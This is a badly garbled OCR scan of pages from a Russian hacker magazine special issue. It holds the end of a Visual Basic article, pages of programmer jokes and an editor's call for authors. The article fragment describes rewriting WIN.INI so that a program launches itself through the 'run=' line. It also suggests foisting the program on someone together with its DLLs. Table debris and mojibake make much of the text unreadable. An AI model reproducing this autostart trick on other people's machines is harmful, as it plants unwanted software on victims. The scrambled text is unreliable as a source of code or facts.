 | 
 | |||||||||
| 
 | 
 | 
 | подправим | старый | 
 | 
 | 
 | óøè :). Õì, ÷óòü íå çà- | ||||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||||||||
| 
 | 
 | 
 | WIN.INI, для начала удалив его, а потом вос- | Print #2, Temp ‘ пишем :) | был архиважнейшую вещь! Эта прога написа- | |||||||||||
| 
 | 
 | 
 | становив построчным | копированием с не- | 
 | на на VisualBasic’е, о чем это говорит? Пра- | ||||||||||
| 
 | 
 | 
 | большим изменением | строки “run=”. Наби- | Wend | вильно, сам по себе .EXE’шник работать не | ||||||||||
| 
 | 
 | 
 | вай, если не устал, а если устал, то попроси | Close #1, #2 | будет. Вместе с прогой придется впаривать | |||||||||||
| 
 | 
 | 
 | ||||||||||||||
| 
 | 
 | 
 | соседа - он с радостью тебе поможет: | MCI32.OCX (обычно C:\WINDOWS\SYSTEM) и | ||||||||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||
| 
 | 
 | 
 | 
 | 
 | FileCopy MustDieDir + “\win.ini”, | Вроде все хорошо, даже работает, но есть | VBxxxxxx.DLL èëè | VBRUNx00.DLL | 
 | (òîæå | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | C:\WINDOWS\SYSTEM, ó ìåíÿ ýòîò ôàéë íà- | |||||||||||
| 
 | 
 | 
 | MustDieDir + “\blin.col” ‘ делаем копию, надо | один баг - каждый раз копировать WIN.INI и | зывается VB40032.DLL), но с вопросами впа- | |||||||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | самого себя? Вот, надо просто добавить про- | ривания, я думаю, ты справишься :)). Удачи! | |||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 
| 126 | 007E | ХУМОР | 
 | >СПЕЦВЫПУСК #4 | 
| АНЕКДОТЫ ПРО | ||||
| ПРОГРАММЕРОВ | ||||
| СОБРАЛ: бОРА (LAPKARELIEF@MAIL.RU) | Папа-программер (злобно, не отрываясь от ком- | |||
| 
 | 
 | 
 | 
 | пьютера): | 
| 
 | 
 | 
 | 
 | - Кто ж его под “окнами” ставит, вот если б под | 
| 
 | 
 | 
 | 
 | LINUХ - тады не зависло бы... | 
| 
 | 
 | 
 | 
 | Два программера сидят, пиво пьют. Тут входит в | 
| 
 | 
 | 
 | 
 | комнату огромный котяpа, рыжий красавец. | 
| 
 | 
 | 
 | 
 | Один программер - другому: | 
| 
 | 
 | 
 | 
 | - Это мой кот. Зовут Зухел. | 
| 
 | 
 | 
 | 
 | - Почему Зухел? | 
| 
 | 
 | 
 | 
 | - Смотpи, - беpет швабру, тычет в кота. - Зу- | 
| 
 | 
 | 
 | 
 | хель! Коннект! | 
| 
 | 
 | 
 | 
 | (Кот): - Шршашрррффшшфшршшш... | 
| 
 | 
 | 
 | 
 | - Во, понял? 28.800. | 
| 
 | 
 | 
 | 
 | Y2K за одним столом встречают русские и аме- | 
| 
 | 
 | 
 | 
 | риканцы. Американец хвалится успехами Аме- | 
| 
 | 
 | 
 | 
 | ðèêè: | 
| 
 | 
 | 
 | 
 | - А вот у нас, в Америке... | 
| 
 | 
 | 
 | 
 | Наш программер поднимает моську из блюда с | 
| 
 | 
 | 
 | 
 | пельменями: | 
| 
 | 
 | 
 | 
 | - А вот нет больше твоей Америки и ни будет ни- | 
| 
 | 
 | 
 | 
 | êàã-äû! | 
| 
 | 
 | 
 | 
 | Американец (испуганно): | 
| 
 | 
 | 
 | 
 | - Как нет? Почему? | 
| 
 | 
 | 
 | 
 | Наш (булькая себе в пельмени): | 
| 
 | 
 | 
 | 
 | - А у нас проблема 2000 была на 12 часов рань- | 
| 
 | 
 | 
 | 
 | øå... | 
| 
 | 
 | 
 | 
 | Программер сдает экзамен по литературе в | 
| 
 | 
 | 
 | 
 | Кульке (институте Культуры): | 
| 
 | 
 | 
 | 
 | - Герасим был... этим... Hу, саунд бластера у | 
| 
 | 
 | 
 | 
 | íåãî íå áûëî. | 
| 
 | 
 | 
 | 
 | Вопрос программеру: сколько метров в одном | 
| 
 | 
 | 
 | 
 | километре? | 
| 
 | 
 | 
 | 
 | - Íó, ýòî, 1024... | 
| 
 | 
 | 
 | 
 | Если у тебя воняет под мышкой, помой или выб- | 
| 
 | 
 | 
 | 
 | роси коврик. | 
| 
 | 
 | 
 | 
 | Идет программист по улице и видит прикольных | 
| 
 | 
 | 
 | 
 | таких девчонок. | 
| Нам приходится брать деньги за то, что мы и так | - Киборд неyдобный - всего 84 клавиши, поло- | - Девушки, здрасьте. Я - Вася. Пиво будете? | ||
| с удовольствием делаем... | 
 | вина фyнкциональных, ни одна не подписана, | - Íåò. | |
| Нам приходится делать это даже тогда, когда | зато шифт нажимать ногой - прикольно. | - À âèíî? | ||
| совсем совсем не хочется... | 
 | 
 | - Íåò! | |
| Многие обращаются к нам, но почти все ста- | Вопpос: Можно ли мессагу Виндов “Пpогpамма | - А водку? | ||
| раются не заплатить... | 
 | выполнила недопустимую опеpацию и будет | - Íåò!! | |
| Нас презирают как верхи, так и низы... | закрыта. Обpатитесь к pазpаботчику” считать | Программер думает про себя: “Странно, стан- | ||
| Все кроют нас матом... | 
 | официальным приглашением на проживание в | дартные драйверы не подходят”. | |
| И зачем я стал программистом? | ÑØÀ? | 
 | ||
| 
 | 
 | 
 | 
 | Два программера разговаривают: | 
| Программер смотрит на пианино: пригляды- | Дочка - папе: А у нас вчера под окнами HЛО ви- | - А ты бы в кого выстрелил, если б оказался в | ||
| вается, охаживает вокруг, потом говорит: | ñåëî... | одном лифте с Саддамом Хусейном, Лениным, | ||
 
| 
 | 
 | ХУМОР | 
 | 
 | 
| 
 | >СПЕЦВЫПУСК #4 | 007F | 127 | |
| 
 | 
ОТ КОМАНДЫ Х
| 
 | 
 | 
 | Гитлером и Гейтсом и у тебя был бы только один | ðàé... | - Да из NFS дебаггером выдрал. | ||
| 
 | 
 | 
 | револьвер с двумя патронами? | - Куда сам-то хочешь: в ад или в рай? | 
 | ||
| 
 | 
 | 
 | - Ну, первым патроном я бы в Гейтса выстрелил. | - А посмотреть можно? | Народная примета: если программист в | ||
| 
 | - А вторым? | Тащат его в громадный компьютерный клуб. | утра уже на работе, значит, он еще на | ||||
| 
 | 
 | 
 | - Тоже в Гейтса, чтобы уж наверняка... | Кругом компы, сеток - видимо-невидимо. | Встречаются два программера, и один | ||
| 
 | 
 | 
 | 
 | 
 | 
 | - Вот это - рай, будешь здесь юзером. | |
| 
 | 
 | 
 | 
 | 
 | 
 | ||
| 
 | 
 | 
 | Работа пpогpаммиста и шамана имеет много | 
 | вает другого: | ||
| 
 | 
 | 
 | общего - оба боpмочyт непонятные слова, со- | - À àä? | - Ты чего такой грустный? | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | веpшают непонятные действия и не могyт | - А ад здесь же - только сисопом... | - Да вот, комп вечером упал. | ||
| 
 | 
 | 
 | объяснить, как оно pаботает. | 
 | - Ну да ты что, его до сих пор не поднял? | ||
| 
 | 
 | 
 | 
 | 
 | 
 | Программист ставит себе на тумбочку перед | - Поднять-то - поднял, но он со стола | 
| 
 | 
 | 
 | Разговаривают в троллейбусе два программера: | сном два стакана. Один с водой - на случай, ес- | 
 | ||
| 
 | 
 | 
 | - Знаешь, у меня с писюком что-то. | ли захочет ночью пить. А второй - пустой - на | Звонок в службу технической поддержки: | ||
| 
 | 
 | 
 | Весь троллейбус прислушивается. | случай, если не захочет. | - У меня компьютер не работает! | ||
| 
 | - À ÷òî íå òàê? | Девчонка-программер едет в трамвае, читает | - После чего это произошло? | ||||
| 
 | - Да висит часто. | 
 | |||||
| 
 | 
 | 
 | - Может, зараза какая? | книгу “Язык Ада”. | - Я его включил - загрузился Нортон. | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | - Проверял - все в поряде. | Старушка смотрит на девушку, смотрит на кни- | у меня слева диск С: и справа диск С:. | ||
| 
 | 
 | 
 | - А сильно висит? | гу, крестится и в ужасе выбегает на следующей | мал - на фиг мне два диска С:? И стер | ||
| 
 | 
 | 
 | - | Сильно, | тремя пальцами не поможешь... | остановке. | чертовой матери. | 
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | Зачатие | программиста: | У программиста спрашивают: | Разговор двух программистов: | |
| 
 | 
 | 
 | 1. Connect | 
 | - Hе помнишь, сколько будет два в четвеpтой? | - Что пишешь? | |
| 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 2. Download | - (моментально) Шестнадцать. | - Откомпилим - узнаем! | ||
| 
 | 
 | 
 | 3. Disconnect | - А шестнадцать в четвеpтой? | Приходит один программист к другому: | ||
| 
 | 
 | 
 | 4. UnRar (ЕТА: 9 месяцев) | - (через секунду) Шестьдесят пять тысяч пять- | |||
| 
 | 
 | 
 | 
 | 
 | 
 | сот тpидцать | - Слышь, Петя, мне генератор случайных | 
| 
 | 
 | 
 | Приходит программист к окулисту. Тот его уса- | шесть. | нужен. | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | живает напротив таблицы, берет указку: | - Вот голова, ну ты даешь!!! Hу, а тpи в чет- | - Четырнадцать! | ||
| 
 | 
 | 
 | - Читайте! - “БНОПНЯ”... Доктор, у вас что-то не | âåpòîé? | 
 | ||
| 
 | 
 | 
 | то с кодировкой! | - (после паузы) Hе помню точно. Дpобное число | Пpиходит пpогpаммист к пианистy - | ||
| 
 | 
 | 
 | 
 | 
 | 
 | получается. | на новый pояль. | 
| 
 | 
 | 
 | Коврик для мышки выполнил недопустимую | 
 | Долго ходит вокpyг, хмыкает, потом | ||
| 
 | 
 | 
 | операцию и будет свернут. | Программист с женой отправились в магазин. | - Клава неyдобная - всего 84 клавиши, | ||
| 
 | 
 | 
 | 
 | 
 | 
 | Купили три сумки продуктов. Выходят, и тут же- | фyнкциональных, ни одна не подписана, | 
| 
 | 
 | 
 | Наркомана, Алика и программера спашивают: а | на говорит: слушай, молоко-то я и забыла - пос- | шифт нажимать ногой - оpигинально. | ||
| 
 | 
 | 
 | что бы вы делали, если бы вдруг проснулись в | той тут, покарауль наши три сумки, а я сейчас | Беседуют два программера: | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 80-ì ãîäó? | быстро куплю и вернусь. | |||
| 
 | 
 | 
 | Наркоман говорит: «Я бы пошел в аптеку, купил | Возвращается - программер стоит припухший, | - Блин, вчера моя жена мне позвонила, | ||
| 
 | 
 | 
 | бы кучу таблеток без рецепта и отъехал...» | сумки с места на место переставляет: | трубку снял... | ||
| 
 | 
 | 
 | Алик говорит: «А я бы упился водки по рубь-де- | - Ты сказала, что здесь три сумки, а их только | - È ÷òî? | ||
| 
 | 
 | 
 | ñÿòü». | äâå! | - Да болтали полтора часа... | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | А программер сидит грустный. У него спраши- | 
 | 
 | ||
| 
 | 
 | 
 | вают: ты чего? А он и отвечает: «А что, опять за | - Hî èõ áûëî òðè! | Ìàíÿ: | ||
| 
 | 
 | 
 | ЕС садиться?» | 
 | - Ва-ань, дома жpать нечего! | ||
| 
 | 
 | 
 | 
 | 
 | 
 | Программист: | Âàíÿ: | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | Все настоящие программисты делятся на три | 
 | - Отвали. | ||
| 
 | 
 | 
 | категории: | - Hет, давай вместе считать: 0, 1, 2... | - Ва-ань, последние носки тебе штопаю! | ||
| 
 | 
 | 
 | на тех, кто пишет программы, завершающиеся | 
 | - Отвали. | ||
| 
 | 
 | 
 | по нажатию | Пpогpаммист увидел HЛО: | - Âà-àíü, ñòàpøåìy çàâòpà â øêîëy èäòè, | ||
| 
 | 
 | 
 | |||||
| 
 | 
 | 
 | F10, Alt-F4, Alt-X. Все остальные принципы деле- | - У кого-то диск полетел... | го ботинки pазвалились! | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | ния надуманны. | 
 | - Отвали ты от меня, дypа хpенова! У | ||
| 
 | 
 | 
 | 
 | 
 | 
 | Идет программист по улице, видит - его прия- | за Интеpнет не плачено, а ты тyт со | 
| 
 | 
 | 
 | Умер программер и попал в чистилище. Судили | тель на новеньком красном “Ferrari 512TR”. | хренью лезешь!!! | ||
| 
 | 
 | 
 | его - ну, говорят, ни туды, ни сюды. Сам выби- | - Откуда такая машина?! | 
 | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 
| 128 | 0080 | ЗОВ РЕДАКТОРА | >СПЕЦВЫПУСК #4 | 
| ПРОНИКСЯ? | |||
| 
 | Мы не остановимся на | ||
| 
 | этом. В следующем | 
 | |
| 
 | спецвыпуске Х ты | 
 | |
| 
 | узнаешь все о | 
 | |
| 
 | Красных Шапочках, | 
 | |
| 
 | Пингвинах и прочих | Òû | |
| 
 | LINU* и UNIXоидах! | ||
| 
 | научишься делать то, | ||
| 
 | о чем раньше и | 
 | |
| 
 | подумать-то боялся, | 
 | |
| 
 | все твои противники | ||
| 
 | надолго упадут в | 
 | |
| 
 | глубокий даун, а твоя | ||
| 
 | машина станет | 
 | |
| 
 | неприступной для | 
 | |
| 
 | любого, посягнувшего | ||
| 
 | íà íåå!.. | 
 | |
| 
 | Постой-ка, а может, | 
 | |
| 
 | ты уже давно | 
 | |
| 
 | Юниксоид? Или | 
 | |
| 
 | Линуксоид? Ты все | 
 | |
| 
 | знаешь об этой | 
 | |
| 
 | системе? Ты почти | 
 | |
| 
 | всЕ умеешь? А | 
 | |
| 
 | главное - ты хочешь | ||
| 
 | и можешь рассказать | ||
| 
 | об этом достой | 
 | |
| 
 | слушателям? Тог | 
 | |
| 
 | ïèøè ñþäà, íà | 
 | |
| 
 | holod@xakep.ru, | 
 | |
| 
 | авторов для со | 
 | |
| 
 | спецвыпуска Х, | 
 | |
| 
 | посвященного э | 
 | |
| 
 | Осям, в самом р | 
 | |
| 
 | ß æäó... | 
 | |



 >СПЕЦВЫПУСК #4
>СПЕЦВЫПУСК #4